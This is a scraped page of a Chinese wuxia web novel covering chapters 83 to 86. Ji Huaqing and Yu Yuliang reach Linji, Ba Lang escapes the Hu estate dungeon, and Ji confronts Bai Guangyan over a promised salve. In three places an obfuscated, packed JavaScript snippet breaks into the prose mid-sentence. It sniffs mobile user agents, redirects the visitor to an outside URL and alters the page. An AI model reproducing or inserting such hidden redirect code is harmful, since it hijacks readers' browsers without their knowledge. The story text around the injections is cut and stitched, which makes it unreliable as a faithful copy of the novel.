尹敕道:“边庄主,巴琅和夏篁那边看守的人可靠吗,这两人我们要带回总坛,可不能出什么差错。”先前寇传维还在时,瑚庄人手足够,姬花青尚能来到地牢中见覃七霄和尹敕,更别说如今瑚庄元气大伤,正是容易被趁虚而入之时。 边潇道:“这件事我们瑚庄也格外重视,请二位大人放心,我已经安排了瑚庄现有的武功最高的人严密看守,并叮嘱了他们不可出一点差错。” 尹敕端起酒杯抿了一小口,心想这边的扫尾工作一完,他就和覃七霄押了人立即送回教中,越拖越是不安全,越是夜长梦多。 ------------------------------ 一名脸皮白净、书生模样的男子来到瑚庄地牢,地牢的钥匙被他绕在手指上转得飞起。 经历了之前的恶战,地牢中很多地方都损毁了,还没来得及修整。这名男子一会高高抬起腿,一会又是一跳,顽童一般跨过那些坍塌下来的碎石块,不一会来到了关押巴琅的牢房前。 巴琅静静坐在一间牢房中,他的眼睛被散下来的额发挡住,嘴唇紧抿成一条线。 那名书生模样的男子先隔着牢门左右斜身,歪头侧颈,好好观察了一会关在里面的巴琅,随后道:“你当初说,无涯派的人,被你们巴氏的诛仇指打中,不仅永不能再用出武功,后半辈子也只能是残废一个,不仅武人生涯就此结束,连作为一个普通人活下去也难。可我看那姬花青,怎么还生龙活虎?” 他往前凑近了点,将一只手放在嘴边,用说悄悄话一般的气声道:“你那诛仇指是不是时灵时不灵啊?” 巴琅终于开口了,道:“少说风凉话。”他顿了顿,道:“寇传维是个废物,野心却大得很,跟他合作,当真是一步臭棋。” 牢房外那白面男子嘻嘻嘻地笑了,道:“我早说过,对于你要猎捕的那些人,别以为有了诛仇指作倚仗就可以毫无顾忌地上去和人拼。诛仇指说白了,也就是你祖宗知道无涯派的人难杀,才费劲心思想出这么一招来,虽然说起来是专门克制无涯派内功的绝招,可若是打不中人家,或是打中之后人家还能恢复,又有什么用呢?” 巴琅道:“你到这来,不是专门来看我笑话的吧?还是说,一会被人发现了,你想亲自会会姬花青?” 白面男子道:“你这话说的,我的主业是炼药,又不是打架,那姬花青连您这样的高手都招架不住,我一个文弱药师,哪敢去跟她碰一碰啊?”他顿了顿,道:“一会出去,我给你引见一个人,他对无涯派也是深仇大恨,而你的能力正是他需要的,他也可以提供你需要的东西,我相信你们一定能相互成为对方的臂助。” 巴琅对白面男子这番话不置可否,过了一会道:“只是我想不通一件事。” 白面男子一边用钥匙开锁一边道:“什么事?” 巴琅道:“那个姬花青是魔教教主之徒,可如今的魔教教主樊忱守身上的武功却不是无涯派一脉,并且六年前也不知是何原因,姬花青要叛出魔教。她身上的无涯派武功已经很到了一定火候,能到这种程度,绝不是只看了几篇无涯派武功残页能做到的,那个真正教她武功的人,究竟是谁?” 白面男子道:“这不是巧了?我带你出去后要见的那个人,或许刚好可以解答你的这些疑惑。” 巴琅这时终于对白面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雨馀凉听姬花青问起这茬,一时语塞,道了个“我……”之后就说不下去了。 姬花青继续道:“看寇传维的反应,他对边潇小兄弟出现在那也感到意外,你们背着我们,暗中在谋划什么事情?” 原来在地牢时,雨馀凉的出现就让姬花青感到了不对,只是当时情形紧张,姬花青没机会多问雨馀凉,如今一切告一段落,姬花青秋后算账,开始诘问起雨馀凉来。 雨馀凉只得把先前他的心路历程,以及和边潇私下的决定都跟姬花青说了。 姬花青沉默不语。 雨馀凉觉得她沉默起来是最可怕的。 正当雨馀凉犹豫要不要说些什么时,姬花青先开口了:“我答应教你武功那天说什么来?你当时对我尊敬,要叫我师父,说不定过段时间就想着怎么摆脱我了。说得一点不错吧?我跟你同行数月,你竟这么容易就违逆我,在我背后搞小动作。” 在这件事上,雨馀凉本就觉得后悔,此刻更是感到有些惭愧,道:“花青前辈,我不是……” 姬花青道:“好了,也是我没有将真正的想法告诉你,都过去了。”她看向前方,道:“我们的下一个目的地是临蓟。” 雨馀凉听姬花青这么说,也望向远方,神色一下变得凝重起来。 这么快,就已经到了临蓟了,他觉得自己似乎还没准备好迎接将要面对的一切。毕竟数月前,他还只是个连谷州府都没怎么离开过的边缘小门派的边缘弟子。那个时候,他觉得自己以后只会离武林越来越远,没想到到了如今,他却愈来愈深地卷入江湖的漩涡中。 他能在这里找到自己身世的答案吗?如今长命锁也回到了他身上,只是到了临蓟城后,他首先要从何处找起呢? 他在江湖上没有人脉,同时他记得雨休跟他说的,打探的时候要小心,更何况,他还没开始寻找自己的身世,自己的长命锁就已然成了众人竞相争夺的目标。 假设,假设他在临蓟城没能找到自己的身世,又该何去何从? 雨馀凉抬起头来,仰望天空,在他头顶上方有老鹰飞过,雄鹰振翅,倏忽之间,那鹰就已成了远方的黑点。 ------------------------------ 老鹰在天空盘旋,最终落在石壁上伸出的一根枯木上。 石壁下方好大一片空地,这一日的天气十分晴朗,蓝色的天,橘黄色的土地,这片地方充斥着强烈鲜明的色彩。落在枯枝上的老鹰,鹰眼中倒映着空地,空地之间,一个人躺在那里,身上横七竖八地插满了箭矢。 这人已然断气。 突然有条腿伸出,一脚踩在已被箭射成筛子的尸体上,这只脚的主人一手拿着弓,一边道:“把这个解决了,应该就没有监视的人了。”他沉默半晌,喃喃道:“卫氏的人,来得好快……” 这手握弓箭的人不是自言自语,在离他十数尺远处,还站着一人,那人道:“到了水南还担心有人认出你?” 原来拿弓背箭的这人,脸上戴着面具,头上戴着头套,身着样式简单的交领衣衫,袖角裤脚都扎紧,浑身上下包裹得严严实实,连是男是女都辨认不出。 他将弓重新挂回背上,被面具覆盖的脸转向跟他说话的人,道:“这可难说。另外,你这副打扮,说我,很没说服力。”他的面具没有形状,没有样式,就是一个全白的椭圆,被这样一张脸向着,很少有人不会觉得不自在。 而跟拿弓之人说话的那人,身量甚高,虽用黑色斗篷裹住全身,头上也带着兜帽,让人看不真切他的相貌,但他身姿挺拔,声音也是极好听磁性的男声,跟拿弓那人相比,倒是少了很多诡异感。 身披黑色斗篷的人道:“这次玄同教也派了人来,看见我们在一起的人自然越少越好。倒是你,如今已是六月了,这样穿不热吗?就算让人知道九歌的云中君是……” 背弓那人打断他:“各人有各人的忧心。” 身披黑色斗篷的人默了默,道:“少主这次派了哪些人来临蓟?” 背弓戴面具的人道:“湘君湘夫人,河伯山鬼,还有我。若不是大司命少司命已死,他们也会来。”他想起了什么,又道:“东皇太一也来了。” 身披黑色斗篷的人道:“是么。”加上他这个东君,九歌这次是倾巢出动。 一旁还站着两匹马,两人将身上满是箭孔的尸体留在原地,各自跨上一匹马,飞驰而去。 84. 临蓟(一) 从瑚庄出来后,姬花青和雨馀凉沿着大路,趱行赶往临蓟城——这个李氏将其作为驻地长达八百年的地方。临蓟和绵作离得近,两人只用了一天便来到了临蓟城外。天气炎热,雨馀凉换上了雨过天青色的薄衫子,姬花青也不再穿黑色交领衣服,而是换成了褐色对襟广袖薄衫,露出一痕秋香色抹胸,并将一头过膝长发在脑后绾成一个髻,用长簪固定住,只在两鬓边留下几缕卷曲的碎发。 雨馀凉看惯了姬花青披发的样子,如今看她将头发全部盘上去,一时倒有些不适应。 顺便,因着长刀在龙虎寨被折断的缘故,姬花青还在途经的一座小镇甸的兵器铺中买了一把长刀并一把长剑,长剑斜背在背后,长刀仍然握在左手。雨馀凉心中一动,想起她之前在龙虎寨使过剑,且剑法精妙,绝不是惯用刀之人顺手抄起其他兵器却仍以刀法应对。她的确是既会使刀又会使剑的,然而在这之前姬花青从来没有在雨馀凉面前表现出自己会剑法。 雨馀凉不知道姬花青还有多少秘密没告诉自己,于是问姬花青:“花青前辈,你除了刀和剑,还会使什么兵器?” 姬花青道:“没有了,除了刀,就只有剑。” 雨馀凉道:“为何之前不佩剑?” 姬花青道:“因为前段时间我想多练一下我的刀法。” 雨馀凉道:“这跟佩剑似乎没有冲突?” 姬花青道:“若手边没剑,就能逼自己在任何情况下都以刀法应对。” 雨馀凉道:“那……花青前辈,你是刀法好些还是剑法好些?” 姬花青转过头来,仔细端详着雨馀凉的脸。 雨馀凉道:“花青前辈,怎……怎么了?” 姬花青道:“奇怪……你这一本正经的刁钻暗坏劲儿,怎么那么熟悉?” 她又似在问雨馀凉,又似自言自语,雨馀凉听了姬花青这句话,一头雾水。 此时暮色沉沉,姬雨二人望向四周,都觉眼前朦胧一片。两人又走了几步,在临蓟城外发现了一处驿站,便决定在驿站里打个尖再进城。 姬花青没想到的是,她一踏入驿站饭堂便看见了两个熟悉的身影。 覃七霄和尹敕正坐在饭堂的一个角落,覃七霄背对姬花青坐着,而尹敕坐在覃七霄对面,以尹敕的视角,只消一抬头便能看见门口,只是他正跟覃七霄压低了声音谈论着什么,便没有注意到门口的姬花青。 姬花青看见覃尹二人,心头一震,脚步生生定在门口,当即就想离开,走得越远越好。只是她这么骤然停下,身后的雨馀凉一时没刹住,撞在了姬花青背上。 雨馀凉微微侧头,垂眼看着姬花青头顶,道:“花青前辈,怎么了?” 雨馀凉说这句话的声音不算大,但也不小,加上此时已过晚饭饭点,饭堂里人极少,本来就比较安静,雨馀凉这么一开口,饭堂里所有人都将目光转向了门口。 姬花青闭上眼,想一巴掌把雨馀凉扇进土里。 覃七霄转过身来,见是姬花青,显得十分惊喜,对姬花青招手道:“花青姐,好巧!”许是之前在瑚庄时姬花青帮了覃尹二人,所以即使姬花青叛出了玄同教,覃七霄对姬花青态度也还是十分友好,甚至比先前在瑚庄刚遇到姬花青时还好。 既然被看见了,姬花青反倒不好扭头就走,于是复又抬脚踏进门,对覃七霄和尹敕笑道:“可不是么,竟然在这碰见了你们。”姬花青只想打完招呼后与他们各走各的,无论如何,她再也不想碰见任何玄同教的人然后被认出来了,对她的心脏不好。对于叛教之人,每一个玄同教徒都有权抹杀,玄同教的这一规矩,她可忘不了。 姬花青和雨馀凉挑了覃尹二人旁边的一张桌子坐下,姬花青虽然不想跟覃七霄和尹敕有过多交流,却还是忍不住问道:“你们怎么来这了?巴琅和夏篁呢?不用先押他们回总坛吗?” 覃七霄道:“花青姐,有一件事告诉你,你可千万淡定。” 姬花青见覃七霄郑重其事的样子,有不好的预感,道:“什么事?” 覃七霄道:“咳,巴琅逃走了。” 雨馀凉闻言“啊?”了一声,姬花青一怔,随后道:“夏篁呢?” 覃七霄道:“也逃了,跟巴琅一起。” 姬花青向后靠在椅背上。两鬓垂下的发丝伴着她的动作一晃。 她来到驿站之前还饥肠辘辘,此刻顿时没了吃饭的胃口,她一开始以为覃七霄要告诉自己的事跟玄同教有关,比如覃七霄和尹敕没能守住秘密,自己的行踪被玄同教知道了之类,结果是巴琅和夏篁从瑚庄逃走的消息。 虽然跟姬花青所设想的坏消息不同,但实在也好不到哪去。巴琅的那手诛仇指对她来说仍是个很大的威胁,正因为如此,所以就算巴琅的武功不是姬花青到目前为止所面对过的敌人中最强的,巴琅也绝对是最危险的敌人之一。 现在她只能祈祷巴琅没有来找自己报新仇旧恨的打算。 姬花青沉吟一阵,问覃七霄道:“怎么逃的?虽然瑚庄现在人手薄弱,但他们的地牢也没那么……呃,不坚固吧?” 覃七霄正准备说话,一旁的尹敕就道:“瑚庄的地牢没问题,是有人从外面来救走了他们。” 姬花青道:“确定么?” 尹敕皱眉道:“确定以及肯定,地牢门口的守卫是先被人用药熏晕,随后钥匙被人拿走,巴琅和夏篁才被放出来。” 姬花青默然,没想到巴琅居然有同伙,难道他身后还有组织?这个组织有多少人?里面的人是不是都像巴琅那样,到处猎杀身怀无涯派内功的人? 覃七霄道:“这次的事我和尹兄弟算是搞砸了,不过总坛那边让我们先来临蓟,临蓟这边的事完了后,回去看教主怎么罚我们吧。” 尹敕道:“我们本有将功赎罪的法子,可惜立下了誓言……”说着斜眼看向姬花青。 覃七霄道:“事情没办好就受罚,没什么好抱怨的,也别去想那些有的没的啦。” 姬花青知道尹敕的意思,他的意思是,如果将自己这个叛教之人的行踪回去上复,说不定可以将功折罪,减轻责罚。她对此没什么反应,只问覃七霄和尹敕:“你们来临蓟,是教主的意思?” 覃七霄笑道:“临蓟这边即将发生这么精彩的事,就算教主本来没打算让我来,我覃七霄又怎么可能错过?”他将剩下的半个包子在碗中抹了一圈,让暄软的面皮吸足汤汁,然后全部塞进口中。 覃七霄和尹敕比姬花青和雨馀凉先来,这会便先吃完结账,双方客客气气地简单道别后,覃尹二人离开了驿站。覃尹二人离开时,姬花青和雨馀凉点的吃食才煮好端上来。 雨馀凉对姬花青道:“花青前辈,巴琅和夏篁逃了,这可如何是好?” 姬花青表面看去虽还算得上镇静,内心其实也为此事心烦不已,她道:“走一步看一步了。” 姬花青想,自己要做的事即将在临蓟完成,在做完那件事前,千万不要有什么人或事来阻挡妨碍自己。 不,她不会让任何人来妨碍自己!到那时,若有人挡在她面前,她便人挡杀人,佛挡杀佛! 雨馀凉想,这一顿饭吃得可真是沉默。 之前在永夜镇时,雨馀凉便听见鱼晚衣和邢勘说各路人马即将齐聚临蓟,那时他还不知道为什么各路人马将要聚在临蓟,之后通过在路上的见闻,雨馀凉也多少知道原因了。水南武林与水西武林的博弈已到了最后阶段,水南未来的武林盟主是姓李,姓卫,还是姓聊,都在这一两月之间了 并且也果如鱼晚衣和邢勘所说,他和姬花青越是靠近临蓟,路上就见到越多的江湖人也在往临蓟的方向去。这些江湖人服色各异,并且大多数都骑着马,可见是赶了远路。他们从水南四面八方汇聚到临蓟,都是为了见证水南武林即将发生的大事。 不只如此,雨馀凉还意识到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14353903|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看见的,只是水南去往临蓟的江湖人,在临蓟城北方,还有大量水西武林人士乘船跨江而来,不断涌入临蓟这个人烟阜盛的繁华所在。 他突然一阵忧虑:不知连江和万克礼此时在哪,是不是也到了临蓟?他既要通过长命锁找寻自己的身世,又要避免其他人来找寻自己,之前在连万二人面前单方面挨打毫无还手之力的景象还历历在目,想想就腹中绞痛。 饭后,雨馀凉和姬花青终于穿过了临蓟城恢弘的城门,只见城内火树银花,灯火辉煌,楼台掩映,长桥碧水。虽然天色已然全黑,但城中人烟团簇,笙歌喧哗,到处是吆喝声、吵嚷声,欢笑声。 临蓟城繁华热闹,雨馀凉眼前一下亮了起来,这时姬花青的声音从旁边传来:“沿着这条街一直走,我记得有一家客栈,房间干净整洁又便宜,不知现在还在不在……” 雨馀凉道:“花青前辈,你曾经来过临蓟?” 姬花青仰头看着街道两旁灯火通明的阁楼屋宇,道:“来过一次……不,两次。” 雨馀凉道:“那是为什么来的呢?” 姬花青看向雨馀凉,道:“你问题真多。我以前是玄同教的人,你也是知道的,有时教内派给我的任务需要到水南来,我就是那个时候来的临蓟。” 雨馀凉回想起之前在瑚庄地牢,听覃七霄说姬花青曾是玄同教右使。雨馀凉知道,左右双使在玄同教地位仅次于教主,突然好奇心起,问道:“花青前辈,玄同教左使是个怎样的人?” 姬花青几乎是想都没想就答道:“是个蛮讨厌的人。” 雨馀凉一怔。 这回答,多少是有点私人恩怨啊。不过雨馀凉不明白,就姬花青这蕴藉性子,竟有人能让她直截了当地说出“讨厌”二字,还在前面加上个“蛮”,可见积怨不浅。 二人说话间便已来到了姬花青所说的那家客栈门口。因是非常时期,不仅临蓟的大街上江湖人来来往往,住店的客人也相当不少。有的门派来的人多,几乎把一整家客店的房间都住满了,整个客栈每天就为这一个门派的人提供饭食,简直就像这个门派把一整家客店包下来了一般。 好在临蓟城大,旅店也多,完全应付得了这种各地武林人士蜂拥而至的情况。加上姬花青和雨馀凉总算来得及时,他们所来到的这家客栈的房间还有几间空余,二人要了两间客房后就各去歇息。 临蓟是个不夜城,在各色灯火交相辉映下,诸如杂耍、歌舞之类的活动会持续一整晚。而在这些灯火与人群上方,一道人影在房顶屋檐间疾速穿梭。 这道人影正是姬花青。 到房间后,姬花青简单收拾整理了一下,就携着一刀一剑从窗户翻出。 白氏的府邸在临蓟城郊外。 即使到了晚上也依旧不点灯,这是白广宴多年养成的习惯,灯光会让他焦虑,唯有宁谧的黑暗才能让他的内心平复下来。 白广宴在白府的大厅里来回走着,大厅内只有他一个人。这也是他多年来的习惯,只要没有事,他就会在黑暗的大厅里不停地来回走下去。 在经过一根柱子后,白广宴的脚步停了下来。 那里前一刻还没有人。 在他走过那根柱子前,柱子后还什么都没有,可在他走过那根柱子后,他的余光瞥见柱子后方有一道黑影。 一道人影。 阴影之中,不知什么时候悄无声息地多了一道人影。 不可能,无论白天黑夜,都有守卫守在白府外围,不仅如此,白府中也还有守卫四处巡逻,这个人……是怎么进来的? 白氏是水南颇有威望的武林世家,至少从前是。所以白广宴并没有因为这种程度就惊慌失措,他盯着那道人影,道:“是谁?” 那人从阴影中踏出,月光透过窗户,将窗格的影子映在她头顶。姬花青开口道:“白广宴白老先生,别来无恙?四年前许下的承诺,可还算数吧!” 85. 临蓟(二) 白广宴看清姬花青的脸,道:“承诺?我并不认识你,什么承诺?” 姬花青沉默一阵,忽然扬起手,厅堂另一边的椅子便从中间无声地裂成了两半,裂开的椅子放置不稳,砰啪两声,两半边椅子先后翻倒在地。 白广宴心头一跳,一些记忆突然变得清晰了,四年前,对面那人也是把手这么一抬,他身边的烛台连带着蜡烛就都被折断。 同样地,烛台和蜡烛折断时,一点声音都没发出。 江湖上能做到隔空以内力摧毁物体的人不多,而以内力隔空摧毁物体时不发出半点声音的则绝少。 有这个作为身份的标识,白广宴一下知道对方是谁了,不过他内心的疑惑却并没有减少,四年前来找自己的,不是个四十左右脸上带疤的汉子吗? 而眼前这,是个二十多岁的女子。 白广宴略一侧头,问道:“你是木先生的女儿还是弟子?”若是子女或徒弟,倒也有可能从父亲或师父那学会这项绝技,思及此,白广宴又道:“姑娘,请叫你父亲或师父来谈。” 姬花青道:“我来,跟我师父来是一样的。” 白广宴心想果然是那木姜的徒弟,道:“小姑娘,这件事开不得玩笑,让尊师来,他更加可靠,若尊师实在来不了,你还有没有师兄弟?” 姬花青叹了口气,道:“白老,我也不跟你开玩笑了,我就是木姜,四年前来找你的木姜。我还是我,怎么披了一张男人的皮你就觉得可靠,披了一张女人的皮就觉不可靠?” 白广宴嘴角抽动了几下,道:“所以到底哪个才是你真正的样子?之前,还是现在?你究竟是男是女?” 姬花青微微一笑,道:“谁知道呢,或许现在这副模样,也只是我的一张皮而已。” ------------------------------ 四年前,白氏家主白广宴看着眼前的疤脸汉子,下颌不时左右微微动着,双手张开又握紧。 疤脸汉子垂着眼帘,安静地站在那,耐心等待白广宴的答复。 白氏是水南武林盟主麾下的武林世家,陶氏也是。 但白氏和陶氏不对付,也许是因为观点不合,也许是对待某事的态度不同,也许是因为相互看不顺眼,也许是因为无意间的冒犯,又或许是因为其他一些荒唐的原因,白广宴自己也说不清楚,总之,两家从某一时刻开始就一直有矛盾,直到最近几年,矛盾愈演愈烈,双方或许都觉得,是对方先开始过分起来的。 而近几年也是水西的势力对水南武林越发虎视眈眈,逐渐将手伸向水南的几年。 可笑,明明外敌当前,内部还能纷争不止,明明应该做的是团结协作对抗外敌,却恨不能将与自己同一阵营的人置于死地。可这种荒唐的事,过去的成百上千年一直在发生,过去不乏,现在不乏,将来也还会有。 在白广宴继任家主后,白氏需要的某样东西只有陶氏才能提供,于是白氏不得不与陶氏合作,但陶氏也仗着这点,对白氏提出各种要求,态度亦极是傲慢,白氏逐渐被陶氏挤出了水南武林盟主的亲信圈子,白氏心中不忿,只是那东西对他们来说是必需,没办法,只能忍让。 白广宴烦恼于这种钳制,就是在这种情形下,突然有一天,一个自称木姜的疤脸汉子出现在了他面前。 木姜告诉白广宴,自己可以为白氏提供那东西,这样他们就可以不用再受制于陶氏,而报酬是白氏现有的所有金玉霜。 白广宴仍记得那时,木姜浅浅笑道:“我可是在真心实意替您着想。” 白广宴不知道木姜为什么要帮助自己帮助白氏,并且交换条件只是金玉霜这种……看上去并没什么用的东西。诚然,金玉霜的制法早已失传,并且白氏所拥有的也是世上仅存的几瓶金玉霜了,但说到底不过是品质好一些的金创药而已,虽是家族秘药,但金玉霜制法失传,如今的白氏子弟也没觉得多可惜。 白广宴隐约猜到,木姜想要金玉霜,并不是冲着金玉霜作为金创药的效用而来,至于木姜拿到金玉霜究竟要做什么,白广宴也毫无头绪。 罢罢罢,江湖上各种阴谋每天都在发生,他姓白的不清楚的事又岂止这一件?现在当务之急,是摆脱陶氏的钳制,只要能让白氏不再受制于陶氏,把金玉霜全部给那木姜又如何?之后无论这个叫木姜的人把金玉霜拿去做什么,那也跟他无关了。 对,是跟他再无干系了。 于是白广宴与木姜达成了交易,然而对未知未来的不安仍让他慨叹道:“我白广宴终究也还是卷入到这无尽的阴谋诡计之中。” 木姜听他这么说,道:“在下不过是趁人之危,此乃阳谋,不过也确实是在下不厚道。” 白广宴闻言只嗤笑一声。 这之后他便没再见过木姜,一年后,他们白氏需要的东西果然每隔一段时间就从某个地方送来,而看那些送货之人的衣着打扮,似乎是蛮疆那边的人。 木姜一直没来找白广宴拿金玉霜,白广宴倒也是个比较守信的人,白氏仅剩的五瓶金玉霜,他都好好封存起来,等待着木姜的造访。 但是木姜来得晚了,如今的情况,与之前不大一样了。 眼前这个自称木姜的女子对白广宴道:“四年前的承诺,可还作数?” 白广宴有些心虚,道:“按道理来说,当然……” 姬花青道:“可为什么我听说,白家有一批金玉霜要给绵作瑚庄?白老,这我可就看不懂了,还请你解释一下。” 白广宴道:“这正是我要跟木先……说的。”他本来要脱口而出“木先生”,但眼下木姜是个女子,一时没想到合适的称呼,他顿了顿,接着道:“如今白氏已不是我说了算了……” 姬花青看向白广宴的眼神陡然凌厉起来,白广宴见她表情骇人,硬着头皮继续道:“如今掌管白氏的,是一个旁支的子弟,名叫白玄逸,与瑚庄的合作,是他一手促成,为的是……拥护寇传维成为新的水南武林盟主,把金玉霜作为礼物给瑚庄,也是他的主意。” 姬花青道:“也就是说你已不是白氏家主了?现在的白氏家主是那个白玄逸?” 白广宴道:“是。” 姬花青大步走到白广宴面前,看着白广宴的眼睛道:“当时你是白氏家主,我与你的约定就是与白氏的约定,何况我送来的东西也是给整个白氏的,你们白氏从我这得了好处,不管白氏的家主是谁,都得遵守这个约定!” 白广宴道:“我也是这么跟他说的,可那个……那个后生小子说,说这是我这个前家主跟别人许下的承诺,跟他这个现任家主有什么关系,他想把白氏的东西给谁就给谁,金玉霜当然也是白氏的东西……” 姬花青觉得自己的七窍都在冒烟,她盯着白广宴,道:“他是怎么当上白氏家主的?你把家主之位让给他了?” 白广宴忙道:“怎么可能是我自愿把家主之位让给他?那小子对于时局的很多看法跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365487|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不同,他觉得白氏就算不毁在我手上,也会在我担任家主的期间衰败下去,他对我不满,早就有了取代我的心思,于是在我们白家的幕僚朱氏的帮助下,将我赶下了家主之位。” 姬花青捂脸,等白广宴说完后将手从脸上拿开,道:“所以我之前费了那么大的力气才弄到你们白氏需要的东西,然后你现在告诉我当初承诺要给我的东西拿不出?”白氏内部怎么搅她都不关心,她只想拿到自己要的东西。 白广宴道:“木……姑娘,你早就该来把金玉霜拿走的,如若当时就把东西拿走,也不至于面对如今的情况,可距你把东西送到白家后三年,三年都没有你的消息,我以为……” 姬花青道:“以为我死外面了,是吗?” 姬花青性子柔,绝少这样在人前说话,但现在她心情奇差,说出的话与平日形象大不相符。 且听白广宴方才话里的意思,多少是有些责怪姬花青没有及时将金玉霜拿走,这才导致现在这种难以收拾的局面。姬花青听他这么说,气一下就上来了,明明是白广宴没能遵守诺言,他倒还怪上自己来了。 况且,难道她姬花青不想赶紧将金玉霜拿到手,不怕夜长梦多?难道她姬花青想现在在这跟白广宴扯皮?只是三年前她在别处脱不了身,如今一将其余的事解决就立即动身前往临蓟,然而三年确实还是太长,等她来到临蓟后,发现很多东西都跟当初她来时不一样了。 白广宴听姬花青语气不善,也一语不发了。 过了一会,白广宴道:“木姑娘,眼下的情形并非是我想看到的,但我也实在无能为力,姑娘想要金玉霜,只能自己想办法夺过来了。” 方才二人沉默时,姬花青心里其实也正是在做这种打算,只是这话从白广宴嘴里说出,还是让姬花青窝火,姬花青气得要笑出来,道:“是你跟我做下的承诺,我只管跟你要东西!现在出了这样的问题,难道不应该是你想办法弥补,你为这件事负责,而不是让我自己去想办法?他抢了你的家主之位,你不会再夺回来吗?” 白广宴道:“我也想为这事负责,可就是把我这把老骨头拼散架,也没办法把家主之位夺回来。木姑娘啊,你在这跟我较劲一点用都没有,还不如赶紧想想怎么拿回金玉霜。” 不得不承认,白广宴说的有道理,这也是最让姬花青不爽的地方。 眼下的情形,姬花青最该做的的确就像白广宴所说,将金玉霜夺过来,而不是在其他地方浪费时间,毕竟她的目标就只有金玉霜。如今来临蓟的绝大多数江湖人士都是为了见证水南武林局势的变化,可这些姬花青一点兴趣都没有,她来此,只是为了金玉霜。 姬花青转过身去,一边道:“既如此,我去会会白玄逸,看他愿不愿意将金玉霜给我。” 白广宴心想:“难!”对姬花青道:“寇传维死后,白玄逸便解除了与瑚庄的合作,他如今的合作对象似乎是……”白广宴吞咽了一下,“水西卫氏的人。” 姬花青背对白广宴,道:“哦?先是和瑚庄谋夺盟主之位,后又在你们武林盟主眼皮子底下里通外敌,他胆子倒是挺大。” 白广宴道:“金玉霜极有可能被他作为礼物送给水西卫氏那边的人,姑娘要拿到金玉霜,可以循着这条线索去。”白广宴说着吸了一口气,道:“年轻人胆大包天,不知天高地厚,他才是会把白氏带进沟里的那个!” 姬花青站在那,等白广宴说完后,脚下一点便从窗户跃了出去。 86. 临蓟(三) 临蓟城外树林,湘君何若枫正百无聊奈地扯下一根树枝,湘夫人仇灵鸢的声音就从旁边传来: “他们来了。” 湘君顺着湘夫人的目光看去,只见鱼晚衣和邢勘以轻功从树林另一头踏枝而来。 湘君手臂劲瘦,看上去十分富有力量,他将刚折下的树枝往一旁灌木丛上使劲一抽,灌木上叶片便纷纷摇落,同时灌木的细枝也不断颤动着,之后他松开手,手中的树枝便不动声色地落在地上。 邢勘落地后,仇灵鸢走上前去,弯下腰,神色好奇地打量着邢勘空空如也的右手肘——那里本应该连接着小臂和手掌,仇灵鸢道:“嗯,右手果然没了。” 邢勘望向已有六年不见的几名同僚,道:“我们有多久没像现在这样聚在一起了?可惜司马兄妹已经来不了了。” 在他前方,一人身披黑色斗篷,一人戴着一张全白的面具,一人容貌美艳张扬,一人长相俊美阴翳,分别是聊氏九歌的东君、云中君、湘夫人以及湘君。 东皇太一没有来。 九歌成员两两搭档行动,而东皇太一是唯一不用和其他人搭档的。当初聊正赟设置这一职位,目的便是为了监视九歌其他成员。 水西前代掌盟聊正赟,轻易信不过别人,连直接听命于自己的心腹组织也不例外,所以专门让一个人在暗处监查后者的一举一动。 这个监视之人正是东皇太一。 连鱼晚衣和邢勘在内的这些九歌成员都不知道东皇太一究竟是谁,这个人是男是女,年龄多大,长什么样子,有关他的一切,统统是个谜团。 谁也没见过东皇太一,但东皇太一这个人又确实存在,并且九歌其他人都知道,他是聊氏家主的一双眼睛,说不定此时此刻就在暗处盯着自己。 所以九歌平时派出去替聊氏家主做事的其实只有八个人,而现在还剩六个。 六个成员齐聚在这临蓟城外的树林深处。 何若枫冷笑一声,道:“你还有脸提大司命和少司命?前段时间,他们跟你们同在水南,可不知你们怎么搞的,害他们死在水南,害少主损失了九歌的两名人手。”他看向邢勘:“难道是你在九寒山牢里被关太久,忘记怎么打架了?” 鱼晚衣解释道:“那时他们跟我们分开行动,我和邢大哥也没想到,三乌寨只是一个平平无奇的匪寨,里面竟有人能将司马兄妹都……” 何若枫道:“行了别替自己辩解了,少主派司马兄妹来水南,就是觉得你们懈怠任务,怎么,司马兄妹没跟你们说吗?”他言语中透露的意思,似乎是少主聊以偲对鱼晚衣和邢勘感到不满,嫌他们能力不足,这恰恰是鱼晚衣最受不了的,她看着地下,表情十分难看。 何若枫接着道:“距临蓟的大事还有些时日,你们知道为什么少主派我和灵鸢提前一个月就来?是因为少主觉得你们的能力并不足以支撑你们完成像‘调查卫尧觉与水南哪支势力暗中联系’这种比较‘复杂’的任务,所以派了我和灵鸢来接手。我们来到水南后没过多久,”他看向仇灵鸢,“差不多六七天吧?”仇灵鸢点头道:“六天左右。”何若枫也点点头,望向鱼晚衣和邢勘,道:“六天的样子,我们就查出了那与卫尧觉暗中合作的势力来自绵作瑚庄,若让你们查,还不知要磨洋工到什么时候。” 